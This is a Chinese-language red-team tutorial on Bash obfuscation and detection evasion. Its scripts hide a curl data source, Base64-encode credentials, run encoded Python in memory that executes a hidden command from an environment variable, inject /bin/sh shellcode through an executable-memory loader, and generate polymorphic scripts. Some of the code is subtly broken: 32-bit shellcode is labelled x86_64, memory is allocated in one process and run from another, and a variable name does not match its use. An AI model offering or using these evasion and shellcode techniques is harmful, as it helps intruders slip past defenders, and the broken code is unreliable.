Bash 指令碼混淆與進階規避技術：紅隊演練中的實戰應用

#!/usr/bin/env bash
# 本範例展示如何透過變數重新命名來實現基礎混淆
# 原始腳本使用具有描述性的變數名稱，容易被靜態分析識別

# 原始版本：變數名稱清晰描述其用途
user_input="Hello World"
echo "${user_input}"

# 混淆版本：變數名稱改為無意義字串，增加分析難度
# x123 變數儲存字串 "Hello World"
x123="Hello World"
# 輸出變數 x123 的內容
echo "${x123}"

# 進階混淆：加入無用的變數與運算來干擾分析
# 宣告多個虛設變數製造雜訊
dummy_var1="noise_data"
dummy_var2="additional_noise"
# 使用字串拼接方式間接賦值，增加追蹤難度
eval "x456=\${x123}_obfuscated"
# 最終執行實際功能
printf "%s\n" "${x456}"

#!/usr/bin/env bash
# 本範例展示如何使用指令替換來隱藏外部資料來源
# 動態取得資料可避免在腳本中留下靜態特徵

# 原始版本：使用直接的命令替換語法，特徵明顯
data=$(curl -s http://example.com/data)

# 混淆版本：使用反引號語法，並加入錯誤處理與參數混淆
# 將 URL 拆分成變數並重組，增加靜態分析難度
proto="http"
domain="example.com"
path="data"
# 使用反引號執行命令，這種語法較少被偵測規則鎖定
data=`curl -s ${proto}://${domain}/${path} 2>/dev/null`
# 檢查是否成功取得資料，避免執行時錯誤暴露行為模式
if [[ -n "${data}" ]]; then
    # 將資料轉換為十六進位，進一步隱藏內容
    hex_data=$(echo -n "${data}" | xxd -p)
    # 執行主要功能，此處僅作示範輸出
    printf "Received %d bytes of data\n" "${#data}"
fi

#!/usr/bin/env bash
# 本範例展示如何使用 Base64 編碼來隱藏敏感資料
# 這種技術對於規避字串型偵測規則特別有效

# 原始版本：密碼以明碼形式存在，極易被偵測
sensitive_data="secret_password"

# 混淆版本：敏感資料先經過 Base64 編碼
# 將密碼進行 Base64 編碼，編碼後的字串為 c2VjcmV0X3Bhc3N3b3JkCg==
encoded_sensitive_data=$(echo -n "secret_password" | base64)
# 在需要時才進行解碼，解碼後存入變數
decoded_sensitive_data=$(echo -n "${encoded_sensitive_data}" | base64 -d)
# 執行認證操作，此處僅作示範
# 實際應用中可將解碼後的資料用於 SSH 登入或 API 認證
printf "Authenticated with: %s\n" "${decoded_sensitive_data}"

# 進階應用：將多個參數合併編碼，增加分析複雜度
# 將使用者名稱與密碼合併後編碼
credentials="admin:secret_password"
encoded_creds=$(echo -n "${credentials}" | base64)
# 在執行時期解碼並拆分使用
decoded_creds=$(echo -n "${encoded_creds}" | base64 -d)
username="${decoded_credentials%:*}"
password="${decoded_credentials#*:}"

#!/usr/bin/env bash
# 本範例展示如何在 Bash 中動態生成並執行 Python 程式碼
# 這種技術可用於規避靜態特徵偵測

# 定義一個包含 Python 程式碼的多行字串變數
# 此程式碼會在執行時期動態生成惡意邏輯
python_code='
import os
import sys
# 動態生成並執行系統指令
def execute_dynamic_command():
    # 從環境變數取得隱藏指令，增加分析難度
    hidden_command = os.environ.get("HIDDEN_CMD", "id")
    # 執行指令並回傳結果
    result = os.popen(hidden_command).read()
    return result

# 主程式執行區塊
if __name__ == "__main__":
    # 輸出動態生成的訊息
    print("Generated dynamically at runtime!")
    # 執行動態指令並顯示結果
    output = execute_dynamic_command()
    sys.stderr.write(f"Command output: {output}\n")
'

# 從 Bash 腳本中呼叫 Python3 執行動態生成的程式碼
# 使用 -c 參數讓 Python 執行字串形式的程式碼
python3 -c "${python_code}"

# 進階應用：將 Python 程式碼進行 Base64 編碼後再執行
encoded_python=$(echo -n "${python_code}" | base64 -w 0)
# 先解碼再執行，整個過程在記憶體中完成，不留檔案痕跡
python3 -c "import base64; exec(base64.b64decode('${encoded_python}'))"

#!/usr/bin/env bash
# 本範例展示如何在 Bash 中實作簡化的 Shellcode 注入
# 注意：此技術需要目標系統具備特定條件，實戰中需視環境調整

# 定義要注入的 Shellcode，此處為簡化的 x86_64 Linux 系統呼叫
# \xeb\x1f 是跳躍指令，\x5e 是 pop 指令，後續為系統呼叫參數設定
shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"

# 使用 Python 的 ctypes 模組在記憶體中配置可執行空間
# 這是關鍵步驟，必須確保記憶體區域具有執行權限
memory_address=$(python3 << 'PYEOF'
import ctypes
import sys
# 計算 Shellcode 長度
shellcode_len = 50
# 使用 malloc 配置記憶體
mem = ctypes.cdll.malloc(shellcode_len)
# 使用 mprotect 將記憶體權限改為可讀寫執行
libc = ctypes.CDLL("libc.so.6")
page_size = 4096
aligned_addr = mem & ~(page_size - 1)
libc.mprotect(aligned_addr, page_size, 7)  # 7 = PROT_READ|PROT_WRITE|PROT_EXEC
print(hex(mem))
PYEOF
)

# 將 Shellcode 轉換為十六進位格式以便注入
shellcode_hex=$(echo -n "${shellcode}" | xxd -p | tr -d '\n')
# 使用 Python 將 Shellcode 寫入配置的記憶體空間
python3 << PYEOF
import ctypes
# 取得記憶體位址
addr = int("${memory_address}", 16)
# 建立指向該位址的指標
mem = (ctypes.c_char * 50).from_address(addr)
# 將 Shellcode 寫入記憶體
shellcode_bytes = bytes.fromhex("${shellcode_hex}")
mem[:] = shellcode_bytes.ljust(50, b'\x90')  # 不足部分填補 NOP
PYEOF

# 使用 C 語言撰寫的小型載入器來執行記憶體中的 Shellcode
# 編譯為執行檔後呼叫
cat > loader.c << 'CEOF'
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
int main(int argc, char **argv) {
    // 取得 Shellcode 位址並轉型為函式指標
    void (*func)() = (void (*)()) strtol(argv[1], NULL, 16);
    // 執行記憶體中的 Shellcode
    func();
    return 0;
}
CEOF

# 編譯並執行載入器
gcc -o loader loader.c
./loader "${memory_address}" &

#!/usr/bin/env bash
# 本範例展示如何建立多型化程式碼生成器
# 每次執行都會產生結構不同但功能相同的腳本

# 定義多型化程式碼生成函數
generate_polymorphic_code() {
    # 產生隨機變數名稱以避免靜態特徵
    local var_prefix=$(head /dev/urandom | tr -dc 'a-z' | fold -w 5 | head -n 1)
    local sum_var="${var_prefix}_sum"
    local count_var="${var_prefix}_count"
    
    # 建立新的多型化腳本檔案
    cat << EOF > polymorphic_script.sh
#!/usr/bin/env bash
# 多型化腳本，每次生成結構不同

# 動態生成變數名稱與初始值
${sum_var}=0
${count_var}=0

# 使用迴圈計算參數總和
for arg in "\$@"; do
    # 隨機插入無用運算以改變結構
    $(echo $((RANDOM % 2)) | grep -q 1 && echo "dummy_op=\\\$((RANDOM * 2))" || echo "# No operation")
    (( ${sum_var} += arg ))
    (( ${count_var}++ ))
done

# 輸出計算結果
printf "Sum: %d, Count: %d, Avg: %.2f\n" "\${${sum_var}}" "\${${count_var}}" "\$(( ${sum_var} / ${count_var} ))"
EOF

    # 賦予執行權限
    chmod +x polymorphic_script.sh
}

# 產生多型化腳本並執行
generate_polymorphic_code
# 執行生成的多型化腳本，傳入測試參數
./polymorphic_script.sh 10 20 30 40 50

# 進階版：加入時間戳記與隨機註解
generate_advanced_polymorphic() {
    local timestamp=$(date +%s)
    local random_comment=$(head /dev/urandom | tr -dc 'A-Za-z0-9' | fold -w 20 | head -n 1)
    
    cat << EOF > advanced_poly.sh
#!/usr/bin/env bash
# Generated at: ${timestamp}
# ${random_comment}

# 隨機決定執行路徑
if [[ \$((RANDOM % 2)) -eq 0 ]]; then
    echo "Path A selected"
    result=\$(echo "\$@" | awk '{sum=0; for(i=1;i<=NF;i++) sum+=\$i; print sum}')
else
    echo "Path B selected"
    result=\$(echo "\$@" | sed 's/ /+/g' | bc)
fi

printf "Final result: %s\n" "\${result}"
EOF
    chmod +x advanced_poly.sh
}